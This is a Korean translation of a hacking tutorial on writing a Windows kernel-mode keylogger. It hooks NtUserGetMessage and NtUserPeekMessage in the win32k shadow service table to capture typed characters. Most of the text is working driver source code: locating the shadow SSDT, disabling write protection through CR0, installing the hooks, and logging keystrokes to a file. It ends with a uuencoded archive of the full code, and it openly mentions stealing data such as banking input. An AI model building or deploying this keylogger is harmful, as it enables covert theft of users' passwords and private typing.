기술문서	11. 1. 23. 작성

Windows Kernelmode, Keyboard Independent Keylogger

Author : C0ldCrow (c0ldcrow.don@gmail.com)
Translator : REDBIT (redbit0@gmail.com)

Abstract

후킹을 통한 키로거 제작방법. 기존의 필터드라이버나 혹은 그와 유사한 버스드라이버 등을 이용했을 경우에 발생하는 키보드 레이아웃 차이에 따른 호환성 문제를 해결한 키로거 제작방법이다. 하지만 이러한 방식은 안티키로거와 같은 프로그램의 특이성 때문에 실생활에서 인터넷뱅킹의 키 입력을 가로챌 수는 없겠지만, 추가적인 방법으로 충분히 데이터를 훔쳐낼 수 있기 때문에 좋은 기본이 될것 같다.

원본 : http://www.awarenetwork.org/etc/beta/?x=1

* 본 문서는 대학정보보호동아리연합회와 (주)잉카인터넷의 지원을 얻어 작성된 문서입니다.

Table of Content

1. Motivation

"키보드에 영향 받지 않는 키로거(Keylogger)"란 무엇일까? 여기서는 하위 레벨에서 다루지 않는 키보드를 말한다. 키로거는 문자열에 대응되는 하드웨어 Scan-Code나 Virtual-Key를 알 필요가 없다. 즉 키로거는 키보드 레이아웃(Keyboard Layout)과 같은 쓸데 없는 것을 신경 쓸 필요가 없다. 단지, 키로거는 문자열을 캡쳐(Capture)하면 된다.

내가 키로거를 작성하기 시작할 때는 기본적인 필터 드라이버(Filter Driver)를 개조하면서 시작했다. 이러한 것들은 문서화가 잘 되어 있고 많은 샘플들이 있기 때문에 키 입력을 캡쳐하는 커널 드라이버(Kernel Driver)를 만드는 것은 어렵지 않았다. 그러나 난 포기해야 했다.

내가 포기했던 이유는 Scan-Code를 사용가능한 문자열로 변환시키지 못했기 때문이다. 예제를 살펴보면서 너무 많은 키에 놀라고 말았다. 나는 크로아티아 키보드와 크로아티아 언어를 사용하기 때문에 그러한 코드를 보면 쉽게 작성할 수 없었다. 크로아티아 키보드의 레이아웃은 기본적인 아스키 테이블(Ascii Table)에서 조금 벗어나기 때문이다. (역자 주 : 영국도 마찬가지.) 이러한 것들을 구현하기 위해서는 쿼티(Qwerty) 키보드나 드보락(Dvorak) 키보드 같은 것들도 고려해야 하기 때문에 매우 짜증이 났으며, 그래서 난 더 상위 레벨에서 접근해보기로 했다.

Ring 3에서 동작하는 모든 프로그램들은 Virtual-Key를 문자로 변환할 필요가 없다. 사용자의 키보드 입력은 문자열이나 문자로 오기 때문이다. 이것은 무엇인가가 이미 Virtual-Key 또는 Scan-Code와 같은 키보드의 키 입력 값을 프로그램이 수용가능한 문자로 변환시켰다는 것을 의미한다. 그래서 우리는 이것이 어떻게 동작하는지 모르더라도 유저모드에서 키가 눌러지면 그 문자열을 캡쳐할 수 있다.

2. Keyboard Input in Windows OS

원도우즈(Windows) 시스템은 유저모드 프로그램을 위해 Event-Driven 환경을 구성하고 어떠한 시스템 함수도 호출할 필요없이 유저의 입력을 받는다. 대신, 프로그램은 시스템이 유저의 입력을 가져다주기 전까지 기다린다.

우리는 사용자가 키를 눌렀을 때부터 프로그램이 입력을 받아들이기까지의 흐름을 추적(trace)하기만 하면 된다. 키가 눌러지자마자, 키보드는 Scan-Code라 불리는 키보드에 의존적인 값을 만든다. 이러한

키를 사용하기 위해서 어떤 키가 눌러졌는지를 알아야한다. 하지만 여기서 말하고 있는 키는 장치(Device)에 의존적인 Scan-Code이다. 그러므로 각각의 키보드마다 대응되는 값이 다를 수 있다.

Scan-Code는 Interrupt-Dispatcher에 의해 키보드 제작사가 만든 키보드 장치 드라이버에 전달되며, 자세한 전달 과정은 중요하지 않다. 키보드 장치 드라이버는 각각의 키보드 레이아웃에 맞게 특별하게 설계되었기 때문에 Scan-Code를 이해하고, 그것을 Virtual-Key라고 불리는 값으로 변환시킨다. MSDN(Microsoft Developer Network)에 따르면 Virtual-Key는 장치 독립적인 값이며, 눌러진 키와 시스템에서 정의한 문자와 대응되는 값이다. 키보드 드라이버는 Scan-Code, Virtual-Key와 키에 대한 자세한 정보를 포함한 메시지 구조체를 만들어 시스템 큐(System Queue)에 집어넣는다. 시스템은 System-Message-Queue에서 메시지를 꺼내어서 Thread-Message-Queue에 집어넣는다. 그리고 Thread-Message-Queue에 있는 메시지는 Thread-Message-Loop로 꺼내어져서 윈도우 프로시져로 넘겨진다. 이것에 관한 더욱 자세한 것은 MSDN을 참고한다.

시스템은 사용자가 키를 눌렀을 때 어떤 키가 눌러졌는지에 대한 정보를 가진 메시지를 생성한다. 이 메시지는 System-Message-Queue에 들어가 있다가 각각의 Thread-Message-Queue로 이동된다. 여기에서 우리는 새로운 아이디어를 생각해냈다. 우리는 이 메시지를 가로채기만 하면 된다. 메시지가 System-Message-Queue에 들어오거나 나갈 때, Thread-Message-Queue에 들어가거나 나갈 때의 위치를 찾아내면 된다.

MSG 구조체는 메시지를 전달하기 위한 시스템의 구조체이다. 물론 이 구조체는 메시지가 어떤 창(Window)에게 필요한지와 같은 메시지에 대한 자세한 정보를 포함하고 있다. 키 입력에 의해서 WM_KEYUP, WM_KEYDOWN, WM_SYSKEYUP, WM_SYSKEYDOWN 혹은 WM_CHAR 메시지가 생성될 수 있다. 이러한 종류의 메시지들은 키보드 입력을 받아들일 수 있는 Thread-Message-Queue에 들어간다. WM_CHAR 메시지가 눌러진 키에 대응되는 문자를 전달한다는 점에서 우리는 여기에 특별히 관심을 갖었다. 그래서 우리는 키로거를 만들기 위해 모든 WM_CHAR 메시지를 Thread-Message-Queue에서 떠나기 전에 캡쳐할 것이다.

3. Attacking with GetMessage()

GetMessage() 함수를 후킹(Hooking)함으로써 WM_CHAR을 캡쳐할 것이다. GetMessage()는 윈도우즈 프로그램이 자신의 Message-Queue로부터 메시지를 가져오기 위해 사용하는 함수다. GetMessage()는 Message-Queue에서 WM_CHAR을 포함한 모든 종류의 메시지를 꺼내온다. 이것

이 메시지를 얻기 위한 유일한 함수이다. (역자 주: 나중에 설명하겠지만 하나 더 있다.) 그러므로 GetMessage()를 후킹하는 것으로 충분할 것이다. GetMessage() 는 GDI 함수에 포함되어 있고, user32.dll에 포함되어 있다. IDA로 살펴보면 그 안에서 _NtUserGetMessage()를 호출하는 것을 볼 수 있다.

```
.text:77D4918F        mov     eax, 11A5h
.text:77D49194        mov     edx, 7FFE0300h
.text:77D49199        call    dword ptr [edx]
```

GetMessage()는 ntdll.dll을 호출하며, 그 안에서 sysenter라는 명령문(Instruction)을 볼 수 있다. 그리고 GetMessage() 뒤에 NtUserGetMessage()라는 커널 구성요소(Kernel Component)가 있다. 이것은 win32k.sys 안에 있고, 윈도우 서브시스템 유저,GDI 함수들이 있다. NtUserGetMessage()의 시스템 서비스 루틴의 주소를 찾는데 사용되는 인덱스(0x11a5)를 알게 되면 이론적으로 NtUserGetMessage()를 후킹하기 위한 모든 정보를 다 가진 것이다.

4. Hooking in win32k.sys

win32k.sys의 시스템 콜(syscall)을 후킹하는 것은 ntoskrnl.exe의 시스템 콜을 후킹하는 것 보다 더 복잡하고 온라인 상의 참고문헌도 부족하다. 그리고 ntoskrnl.exe를 후킹할 때 몇 가지 문제점들이 있다.

첫 번째 문제는 Shadow-Table의 오프셋(Offset)을 찾아내는 것과 win32k.sys에 정의되어 있는 모든 시스템 콜 함수의 주소를 찾아내는 것이다.

(역자 주) 주제와 잠깐 멀어져서 여기서 나오는 System Service Descriptor Table은 다음과 같은 구조체이다.

```
typedef struct _SSDT_DescriptorTables {
        ServiceDescriptorEntry ServiceTables[4];
} SSDTDescriptorTables;
```

그리고 System Service Descriptor Table Entry는 다음과 같은 구조체이다.

```
typedef struct _ServiceDescriptorEntry {
        ULONG *ServiceTableBase;
        ULONG *ServiceCounterTableBase;
        ULONG NumberOfServices;
        UCHAR *ParamTableBase;
} ServiceDescriptorEntry;
```

또한 System Service Dispatch Table은 win32k.sys에 있는 시스템 콜 전체의 주소 배열을 말한다. 이 배열의 시작주소는 ServiceDescriptorEntry.ServiceTableBase이다.

이하 줄여서..):

System Service Descriptor Table -	Descriptor Table
System Service Dispatch Tabel -	Dispatch Table
System Service Descriptor Table Entry -	Descriptor Entry

그러므로 win32k.sys의 Dispatch Table을 가지고 있는 Descriptor Table Entry를 가진 Descriptor Table을 찾아내야 한다. 커널(Window Kernel)에서는 정확히 두 개의 Descriptor Table이 있다. 하나는 단지 ntoskrnl.exe의 Dispatch Table을 가르키고 있고, 다른 하나는 ntosknrl.exe와 win32k.sys의 Dispatch Table 전부를 가리키고 있다.

[AVO] 영역에 접근하기 위해서는 Descriptor Table의 오프셋에 있는 값을 ntoskrnl.exe의 값과 비교해서 찾는다. 이 방법은 Windows XP Service pack 2 이상에서 동작한다. 나는 조금 다른 방법을 구상했고 이것을 더 선호한다. win32k.sys의 Descriptor Table이 GUI를 가진 스레드의 ETB (ETHREAD block)의 ServiceTable에 위치한다는 것을 알아낸 것이다. 이 필드의 오프셋은 WinDbg를 통해 간단히 알아낼 수 있다.

```
kd>dt _ethread
```



```
(...)
+0xe0 ServiceTable              : Ptr32 Void
(...)
```

ntoskrnl.exe의 Descriptor Table의 주소는 간단히 코드에서 import 시켜 얻어내고, ETB 링크드-리스트(Linked-list)를 순회하면서 각각의 서비스 테이블 필드를 ntoskrnl.exe의 Descriptor와 비교한다. 만약 다르다면 그 주소가 win32k.sys의 Service Descriptor Table 이라고 확정 할 수 있다. (이 방법은 문제점이 있다. hard-coded 된 오프셋을 사용함으로써 각각의 윈도우즈 버전에 따라 차이가 있다.)

GUI 스레드를 찾기 위해서 GUI를 가지고 있는 EPB(EPROCESS block)를 찾아내야한다. 이것은 EPB의 Win32Process 필드 오프셋 0x130에 위치한 필드가 win32k.sys의 내부 데이터 구조체를 가르키기 위해 예약되어 있는 것을 이용하면 된다. 이것은 커널 드라이버에 의해 관리된다. GUI가 없는 프로세스의 경우에는 이 필드가 NULL값을 가지기 때문에 이것을 이용해서 EPB 링크드-리스트를 순회 하면 된다.

다음은 그것을 구현한 코드이다.

```
#define OffsetEP_Win32Process       0x130   // EPROCESS.Win32Process
#define OffsetEP_NextEPFlink        0x88    // EPROCESS.ActiveProcessLink.Flink
#define OffsetEP_NextETFlink        0x50    // EPROCESS.KPROCESS.ThreadListEntry.Flink
#define OffsetET_NextKTFlink        0x1b0   // ETHREAD.KTHREAD.ThreadListEntry.Flink
#define OffsetET_NextETFlink        0x22c   // ETHREAD.ThreadListEntry.Flink
#define OffsetET_ServiceTable       0xe0    // ETHREAD.KTHREAD.ServiceTable

#pragma pack(1)
typedef struct _ServiceDescriptorEntry {
        ULONG *ServiceTableBase;
        ULONG *ServiceCounterTableBase;
        ULONG NumberOfServices;
        UCHAR *ParamTableBase;
} ServiceDescriptorEntry;
#pragma pack()

typedef struct _SSDT_DescriptorTables {
```

```
	ServiceDescriptorEntry ServiceTables[4];
} SSDTDescriptorTables;
extern ServiceDescriptorEntry KeServiceDescriptorTable;

ULONG FindGUIProcess(void)
{
	ULONG		CurrentEproc, Win32Process, StartEproc;
	PLIST_ENTRY	ProcessLink = NULL;
	int		Count = 0;

	CurrentEproc = Win32Process = StartEproc = 0;
	CurrentEproc = (ULONG)PsGetCurrentProcess();
	StartEproc = CurrentEproc;
	Win32Process = *((ULONG *)(CurrentEproc+OffsetEP_Win32Process));

	while(1)
	{
		if( Win32Process != 0 )
			return CurrentEproc;

		if( (Count >= 1) && (CurrentEproc == StartEproc) )
			return 0;

		ProcessLink = (PLIST_ENTRY)(CurrentEproc+OffsetEP_NextEPFlink);
		CurrentEproc = (ULONG)ProcessLink->Flink;
		CurrentEproc = CurrentEproc - OffsetEP_NextEPFlink;
		Win32Process = *((ULONG *)(CurrentEproc + OffsetEP_Win32Process));
		Count++;
	}

	return 0;
}

ULONG FindShadowTable(ULONG GUIEprocess)
{
	ULONG		CurrentEthread, CurrentTable, StartEthread, ServiceTable;
	PLIST_ENTRY	ThreadLink = NULL;
	int		Count = 0;
```

```
	CurrentEthread = CurrentTable = StartEthread = ServiceTable = 0;
	ServiceTable = (ULONG)*(&(KeServiceDescriptorTable.ServiceTableBase));
	CurrentEthread = *((ULONG *)(GUIEprocess+OffsetEP_NextETFlink));
	CurrentEthread = CurrentEthread - OffsetET_NextKTFlink;
	StartEthread = CurrentEthread;
	CurrentTable = *((ULONG *)(CurrentEthread + OffsetET_ServiceTable));

	while(1)
	{
		if( CurrentTable != ServiceTable )
			return CurrentTable;

		if( (Count >= 1) && (CurrentEthread == StartEthread) )
			return 0;

		ThreadLink = (PLIST_ENTRY)(CurrentEthread + OffsetET_NextETFlink);
		CurrentEthread = (ULONG)ThreadLink->Flink;
		CurrentEthread = CurrentEthread - OffsetET_NextETFlink;
		CurrentTable = *((ULONG *)(CurrentEthread + OffsetET_ServiceTable));
		Count++;
	}

	return 0;
}

NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject,
		      IN PUNICODE_STRING RegistryPath)
{
	ULONG		GUIEprocess, *GetMessageAddr;
	SSDTDescriptorTables *ShadowTable = NULL;

	GUIEprocess = 0;

	KeEnterCriticalRegion();
	GUIEprocess=FindGUIProcess();
	KeLeaveCriticalRegion();
```

```
        KeEnterCriticalRegion();
        ShadowTable = (SSDTDescriptorTables *)FindShadowTable(GUIEprocess);
        KeLeaveCriticalRegion();
}
```

FindGUIEprocess()와 FindShadowTable() 함수는 실제로 잘 동작한다.

win32k.sys를 후킹할 때 생기는 두 번째 문제는 Dispatch Table을 알아내더라도 이것을 사용 할 수 없다는 것이다. win32k.sys는 유저모드 프로세스와 유사하게 페이징(Paging) 가능한 드라이버이다. 즉, win32k.sys의 주소를 가리키는 가상주소는 win32k.sys를 사용하는 GUI 프로세스 내에서만 유효하고 그 외의 다른 곳에서는 주소가 유효하지 않다. 이 때문에 보통 (역자 주: 할당해서 사용할 수 있기 때문에 항상은 아니다.) PAGE_FAULT_IN_NONPAGED_AREA 라는 BSOD(Blue Screen Of Death)를 경험할 수 있다. 따라서 Dispatch Table을 읽거나 쓰기 위해서는 우리의 드라이버가 GUI 프로세스와 같은 위치에 존재하여야 한다.

이것은 GUI를 만들고 IOCTL을 이용해 드라이버가 이런 일을 할 수 있도록 시키는 작은 Ring 3 프로그램을 작성함으로써 구현이 가능하다. 이런 작은 일을 위해 프로그램을 작성하는 것이 조금 이상할 것이다. 대신 FindGUIProcess()로 GUI 프로세스를 찾아낸 후 KeAttachProcess()를 이용해 후킹을 한 후 Detach를 하면 된다.

다음의 코드가 NewGetUserMessage() 후킹을 수행하는 코드이다.

```
#define INDEX_GETMESSAGE    0x1a5
/*
   This is because of the way the windows system service
   dispatcher works. It uses the 13th and 12th bit of the
   index to indicate which descriptor table to look it
   up in. That is why we use 0x1a5 as our offset, rather
   than 0x11a5.
*/

typedef NTSTATUS (*NTUSERGETMESSAGE)(OUT ULONG pMsg,
        IN ULONG hWnd,
```



```
        IN ULONG FilterMin,
        IN ULONG FilterMax);
NTUSERGETMESSAGE OldGetMessage;

typedef struct _POINT {
        ULONG x;
        ULONG y;
} POINT;

typedef struct _MSG {
        ULONG hWnd;
        ULONG message;
        ULONG wParam;
        ULONG lParam;
        ULONG time;
        POINT pt;
} MSG, *PMSG;

NTSTATUS NTAPI NewGetMessage(OUT ULONG pMsg,
                             IN ULONG hWnd,
                             IN ULONG FilterMin,
                             IN ULONG FilterMax)
{
        NTSTATUS      APIStatus;
        PMSG          MsgStruct;

        APIStatus = OldGetMessage(pMsg, hWnd, FilterMin, FilterMax);

        MsgStruct = (PMSG)pMsg;
        if( MsgStruct->message == WM_CHAR )
        {
                /* Message we're looking for */
        }

        return APIStatus;
}

/* This code should be inside DriverEntry() */
```

```
GetMessageAddr = ShadowTable->ServiceTables[1].ServiceTableBase + INDEX_GETMESSAGE;
KeAttachProcess((PEPROCESS)GUIEprocess);
OldGetMessage = (NTUSERGETMESSAGE)(*GetMessageAddr);

_asm
{
        cli
        mov eax, cr0
        and eax, not 10000H
        mov cr0, eax
}

*GetMessageAddr = NewGetMessage;

_asm
{
        mov eax, cr0
        or eax, 10000H
        mov cr0, eax
        sti
}

KeDetachProcess();
```

CR0 트릭과 인터럽트(Intrrupt)를 받지 않도록 설정하고 작업했다. 하지만 이것은 좋지 못한 방법이다. 멀티프로세스 환경에서는 원자적 함수와 같은 좀 더 확실한 방법이 필요하다.

5. Another Part of the Story – PeekMessage()

이렇게 만들어진 키로거는 동작하지만, 테스트할 때 모든 WM_CHAR 메시지를 캡쳐하지는 못할 것이다. 사실 모든 키 입력이 아니라 절반 정도의 키 입력만을 캡쳐한다. 이러한 이유는 모든 스레드가 Message-Queue에서 메시지를 꺼내오기 위해 GetMessage()만을 사용하는 것이 아니기 때문이다. 그래서 추가적으로 PeekMessage()을 후킹해야 한다.

프로그램은 사용자 인터페이스(User Interface)를 만들기 위해 Edit-Box와 같은 미리 정의된 객체를

사용할 수 있다. 그리고 그 코드에서 GetDlgItemText() 함수를 이용해 Edit-Box의 문자열을 가져올 수 있다. 이 함수는 GetMessage()나 PeekMessage()를 호출 하지는 않는다. Edit-Box를 생성하고 관리하는 모든 코드가 user32.dll에 존재하기 때문이다.

user32.dll 안에는 내부적으로 PeekMessage()를 사용하는 또 다른 메시지 루프가 존재하고 때때로 마지막 인자 값으로 PM_REMOVE를 사용한다. GetDlgItemText()의 기능을 직접 보기 위해서 커널 드라이버로 들어갈 필요 없이 OllyDbg를 통해 유저모드의 버퍼공간으로 복사된 문자열만으로 확인이 가능하다. PeekMessage()를 후킹함으로써 모든 WM_CHAR 메시지를 후킹할 수 있다. 이 방법은 NtUserGetMessage() 후킹과 같으며 추가적으로 필요한 정보는 단지 Dispatch Table에서의 NtUserPeekMessage()이다. 인덱스(Index) 값은 0x11DA이고, 기본적으로 이것은 오프셋 0x1da를 의미한다.

6. The keylogger engine

이제 마지막으로 키로거 엔진이 필요하다. 이것은 다른 키로거와 기능이 꽤 비슷하다. 키 입력을 캡쳐한 후 다양한 정보들(시간, 윈도우 타이틀 등등 을 어떤 포맷으로 파일에 저장할 것인지를 정해야 한다. 이것은 프로그래머의 성향에 좌우될 것이다. 나는 단지 키로거를 만드데 생기는 고민할 만한 문제점에 무게를 실었다.

그 중 한 가지는 동기화이다. 키 입력을 캡쳐하기 위해 2개의 함수를 후킹했기 때문에, 동시에 캡쳐된 데이터들이 버퍼에 저장될 수 있으므로 버퍼를 동기화시켜야 한다. 커널은 매우 좋은 동기화 기능을 제공한다. 그 중 현재 우리 상황에서 가장 좋은 방법은 Mutex를 사용하는 것이다. 그렇게 되면 후킹된 함수는 메모리 버퍼를 Mutex에 의해 소유할 때까지 데이터를 쓰는 것을 허락하지 않는다. 버퍼가 가득 찼을 때 함수가 다른 임시 버퍼에 데이터를 저장할 동안, 버퍼에 있는 데이터를 덤프를 뜬 후에 파일에 쓰게 하는 스레드를 생성할 것이다.

더 좋은 방법은 매번 새로운 스레드를 생성하지 않고 단 하나의 스레드만을 생성한 후, 데이터를 쓸 필요가 있을 때마다 주기적으로 깨워서 사용하는 것이다.

다음의 데모코드는 Mutex를 이용해 동기화를 구현한 예이다.


```
#define PM_REMOVE           0x0001 // Remove flag for PeekMessage from winuser.h
#define WRITE_BUFFER_SIZE   10
#define NUM_KEYS            256
#define LOG_FILENAME        L"\\DosDevices\\c:\\klogfile.txt"

/* Data about the key we're going to collect */
typedef struct _KEY_DATA {
       ULONG CharCode;
} KEY_DATA;

/* This structure represents memory buffer that holds data before writing it to disk */
typedef struct _MEMBUFF {
       KEY_DATA Keys[NUM_KEYS];
       int KeysIndex;
} KEYMEMBUFF, *PKEYMEMBUFF;

void WorkerThread (IN PVOID BufferStruct)
{
       PKEYMEMBUFF          Buffer;
       IO_STATUS_BLOCK      FileStatus, WriteStatus;
       HANDLE               FileHandle;
       int                  i, WriteSize;
       unsigned char        AscIIChar, WriteBuffer[WRITE_BUFFER_SIZE];

       Buffer = (PKEYMEMBUFF)BufferStruct;
       ZwCreateFile( &FileHandle,
                     FILE_APPEND_DATA | SYNCHRONIZE,
                     &LogFileObjAttrib,
                     &FileStatus, NULL,
                     FILE_ATTRIBUTE_NORMAL, 0,
                     FILE_OPEN_IF,
                     FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);

       for(i = 0; i < Buffer->KeysIndex; i++)
       {
              memset(WriteBuffer, 0, WRITE_BUFFER_SIZE);
              AscIIChar = *((unsigned char *)&(Buffer->Keys[i].CharCode));
              switch(AscIIChar)
```

```
		{
			case 0x8:
				strncpy(WriteBuffer, "<BS>", WRITE_BUFFER_SIZE-1);
				WriteSize=4;
				break;

			case 0x1b:
				strncpy(WriteBuffer, "<ESC>", WRITE_BUFFER_SIZE-1);
				WriteSize=5;
				break;

			case 0x7f:
				strncpy(WriteBuffer, "<DEL>", WRITE_BUFFER_SIZE-1);
				WriteSize=5;
				break;

			default:
				WriteBuffer[0]=AscIIChar;
				WriteSize=1;
				break;
		}
		ZwWriteFile  (FileHandle, NULL, NULL, NULL,
				&WriteStatus,
				WriteBuffer,
				WriteSize, NULL, NULL);
	}

	Buffer->KeysIndex = 0;
	ZwClose(FileHandle);
	PsTerminateSystemThread(0);
}

/* Same as for NtUserGetMessage, just different function */
NTSTATUS NTAPI NewPeekMessage(OUT ULONG pMsg,
			      IN ULONG hWnd,
			      IN ULONG FilterMin,
			      IN ULONG FilterMax,
			      IN ULONG RemoveMsg)
```

```
{
	NTSTATUS	APIStatus, Status;
	PMSG		MsgStruct;
	HANDLE		WorkerThreadHandle;

	APIStatus = OldPeekMessage(pMsg, hWnd, FilterMin, FilterMax, RemoveMsg);

	MsgStruct = (PMSG)pMsg;
	if( (MsgStruct->message == WM_CHAR) && (RemoveMsg == PM_REMOVE) )
	{
		Status = KeWaitForSingleObject((PVOID)&MemBuffMutex,
					UserRequest,
					KernelMode,
					FALSE, NULL);
		if(Status == STATUS_SUCCESS)
		{
			if(ActiveBuffer->KeysIndex == NUM_KEYS)
			{
				PsCreateSystemThread(&WorkerThreadHandle,
						THREAD_ALL_ACCESS, NULL, NULL, NULL,
						WorkerThread,
						ActiveBuffer);
				ZwClose(WorkerThreadHandle);
				ActiveBuffer = (ActiveBuffer==&Buffer1) ? &Buffer2 : &Buffer1;
			}

			ActiveBuffer->Keys[ActiveBuffer->KeysIndex].CharCode = MsgStruct->wParam;
			ActiveBuffer->KeysIndex++;

			KeReleaseMutex(&MemBuffMutex, FALSE);
		}
	}

	return APIStatus;
}

/* Our replacement function for NtUserGetMessage() */
NTSTATUS NTAPI NewGetMessage(OUT ULONG pMsg,
```

```
                            IN ULONG hWnd,
                            IN ULONG FilterMin,
                            IN ULONG FilterMax)
{
        NTSTATUS        APIStatus, Status;
        PMSG            MsgStruct;
        HANDLE          WorkerThreadHandle;

        /* Call the original function */
        APIStatus = OldGetMessage(pMsg, hWnd, FilterMin, FilterMax);

        MsgStruct = (PMSG)pMsg;
        if( MsgStruct->message == WM_CHAR ) /* Message we are looking for */
        {
                /* Here we try to get exclusive access to the shared buffer untill call
                   to KeReleseMutex() there should be only one function running this
                   code. Also we need to look when the buffer is full and then create
                   the thread to write it to the disk */

                Status = KeWaitForSingleObject((PVOID)&MemBuffMutex,
                                               UserRequest,
                                               KernelMode,
                                               FALSE, NULL);

                if(Status == STATUS_SUCCESS)
                {
                        if(ActiveBuffer->KeysIndex == NUM_KEYS) // If current buffer is full
                        {
                                /* Empty the buffer by creating the thread that will write
                                   data to disk */
                                PsCreateSystemThread(&WorkerThreadHandle,
                                                     THREAD_ALL_ACCESS, NULL, NULL, NULL,
                                                     WorkerThread,
                                                     ActiveBuffer);
                                ZwClose(WorkerThreadHandle);

                                /* While thread is working, switch to the next buffer so we
                                   can continue logging */
```



```
                        ActiveBuffer = (ActiveBuffer==&Buffer1) ? &Buffer2 : &Buffer1;
                    }

                    ActiveBuffer->Keys[ActiveBuffer->KeysIndex].CharCode = MsgStruct->wParam;
                    ActiveBuffer->KeysIndex++;

                    /* Done with our code, relese the mutex */
                    KeReleaseMutex(&MemBuffMutex, FALSE);
                }
            }

            return APIStatus; /* Return to the user */
}
```

미리 설명하지 못한 부분들에 대해 주석들이 이해를 도울 것이다. ActiveBuffer, Buffer1 그리고 Buffer2는 KEYMEMBUFF(우리가 정의한 memory buffer)를 가르키는 포인터이다. Mutex를 획득한 후에 후킹 함수는 버퍼가 가득 찼는지 확인하고, 만약 가득 찼다면 스레드를 생성해서 활성화 되어있는 버퍼를 두 번째 것으로 바꾸게 된다. 총 2개의 버퍼가 할당되어있으며, 스레드는 제공 되어진 버퍼를 파일에 쓰는 동작을 한다.

NewPeekMessage() 후킹 함수는 메시지 제거 플래그를 확인한다. 만약 이것이 설정되어있다면 기록(Logging)을 하고 , 그렇지 않으면 그냥 반환을 한다. 이러한 이유는 만약 PeekMessage()가 Message-Queue로부터 메시지를 제거한다면 GetMessage() 함수는 지워진 같은 메시지를 받을 수 없기 때문이다. GetMessage() 함수는 항상 Message-Queue로부터 메시지를 제거하기 때문에 모든 메시지를 기록해야 한다.

7. The End

위 코드는 성능을 향상시키거나 고쳐야 할 부분이 많이 남아있다. 내가 작성한 간단한 코드는 단지 특이한 방법의 키로거에 대한 접근 방법을 설명하기 위해서이기 때문이다. 또한 PeekMessage()와 GetMessage()는 WM_CHAR만 캡쳐할 수 있는 것이 아니다. 그렇기 때문에 모든 종류의 전송되는 모든 메시지를 캡쳐할 수 있다.

그리고 아래에 완전한 코드를 첨부해 두었다, 복호화(Decoding)하면 될 것이다.

In the end I would like to give some shouts to hess (my attorney :) and all of the guys at #croatianz. Thank you for reading.

Reference

[MSDN] Microsoft Developper Network Library

<http://msdn.microsoft.com/>

[AVO] Alexander Volynkin, Obtaining KeServiceDescriptorTableShadow address in Windows XP Kernel mode.

<http://www.volynkin.com/sdts.htm>

[1.] Oney, Walter, Programming the Microsoft Windows Driver Model, Microsoft Press, Washington 2003

[2.] http://www.rootkit.com/vault/Clandestiny/Klog%201.0.zip

[3.] http://msdn2.microsoft.com/en-us/library/ms646267.aspx

[4.] http://msdn2.microsoft.com/en-us/library/ms644927.aspx

[5.] http://msdn2.microsoft.com/en-us/library/ms644927.aspx

[6.] http://msdn2.microsoft.com/en-us/library/ms644928.aspx

[7.] Mark E. Russinovich, David A. Solomon; Microsoft Windows Internals, Fourth Edition: Microsoft Windows Server Microsoft Press, Washington 2005 Chapter 3 - System Mechanisms : Trap Dispatching

[8.] http://www.volynkin.com/sdts.htm

[9.] Mark E. Russinovich, David A. Solomon; Microsoft Windows Internals, Fourth Edition: Microsoft Windows Server Microsoft Press, Washington 2005 Chapter 6 - Processes, Threads, and Jobs : Thread Internals

[10.] http://www.rootkit.com/newsread.php?newsid=137

Appendix Code

```
begin 644 Code.zip
M4$L#!!0````(`"1R1C>._=="D@0``#X,```+````:V5Y;&]G9V5R+FBE5E%O
MXC@0?J_4_S#J/FRI*A;8ZVEU/%%(61:2(!*NO5M6R"0.9$EL%)M"[W3__<9V
M4A)*=6HO+TGLF<_??)X9^T/,@F0;4KA@,HY$?75Q?O:A-!:&:SUV?O;I"MPH
M$E0*B'@&<D7!&D_<KN5Y0%@(EO]U8G5Z(&2V#>0VHP(N[V,&#V/PQJT:7'U"
MY)!&,:,YD#6>H\'GUCCC`14"H+%O?FX`+E0`UROS)Q$<NL?771*S-2B$+U^@
M@M`)9/Q(<X@16M6-[>M@_@'LIE$%&Q8?_BJC)!S%0EI,9D^O8_H:<UC";"Y,
MB$:N^C!_OQ&QS++5"LJ(;T#R:/88!]0GBX0J))K'>\2M8J:`=#8,6$CWP".=
M"G+'@1$E-73&@X\"=O1C1F')8[8$R6'%>97#P.E9#_.^Y=NH9Z=O@7E0'W)S
M;#6VK&'%#*U"HF@4=O?VO/NU,X&CI[%O-!LM%9*-NT^6%-@V7=#L&HQ?")B@
MNYAM!<WJJPJ_L3V?6+;[N_4"L=%H*L0)33E&&R5DJ0MB3.FZ6,5H=`!SIO9\
M:/WA'=%KW?RJD!S-22FYID]"J24D1_$6-%*O71;+7$6E=!0G:BI)^*Y">.3V
MYW>#D>5T[#+GT<5LUN.B1]4.BMDL^&TV6R=\J6#J<B\OJDSO)P/?FM].[^ZL
MR=P;_)E#-1OYIGN'ZI8K(E%'$63Q`G\Y>GM>SS>D-AE9I@0V)%A?-FOG9_)I
M0W&)O#M`D7D][;[!<'6NPM_G9VJYZ<AU^G!5SKM;(FC[U&R7;YFDV6DC(ZT;
MY;:BF-3)<C4F&4G+CO_`:5[MHXAJ2HT7(6'P\X.CQA5%1*_$6XY0?/_EA^&`
M0,<X[9?ZJZ1+3<)AJR7B.:<Y@U2$S+3<8Y9C=^#X59WW%<F>-`=MUCX5INWU
MJ^ZK>Q96$')2E;&=UKHRE+P<DG%:N!F>&ZG9X)K7N%WX*G3H$4F`+/A6ZJ+`
MPCGN.`%/$AK(:QR'@#`@80BIJJ=3JF!QSGL=OU.-K+LB69>')C,*DX*!OXK%
MX;"#C&YP4RC#XS'%SH![N]A&$<U,F:QX$N(&*=+'51TKLF$LUB>)V9:MBK'@
M]<QSB)WB>]%6?N2:Q4SJ"=V9"](Y@M+O\/<L(PT2W`498\Y@_XFV+%#?&!@O
M=`M(DBB-4R`1UIGNY(HX=DY=[MZ*A'DK*L@[ON=W_*D'EU<.OJS)H<W7+MVI
MG\N[L<7RVC#_SV?@E++MS4YW<8+4[9B]UY/L:Y5B>!%AZ8AZ;XCOB_%_!'DB
MRK>[FF,0PZP5.=5/^((D\$BRV+1`3"1&L2^I%,&K"\W8:^UP2%],Z/;7!MWZ
M\)I)LM"DG7%0D,<I!FX2]JG,SV+MZFY-WI82_.!9OEV@:^D<QX@.)0.WNIZ;
MU_E'2R/[>.\QA5XZN%4W.EGKI4(O%2.8.ZJ!56O:4]]ZP"M+JH;LK<1BUG<8
M/<P7/[&MZ<6>6)!Q%O]%@03ZABP/9-0:4V?0=7O6W/,G`]RJ$5_B1E.'I$85
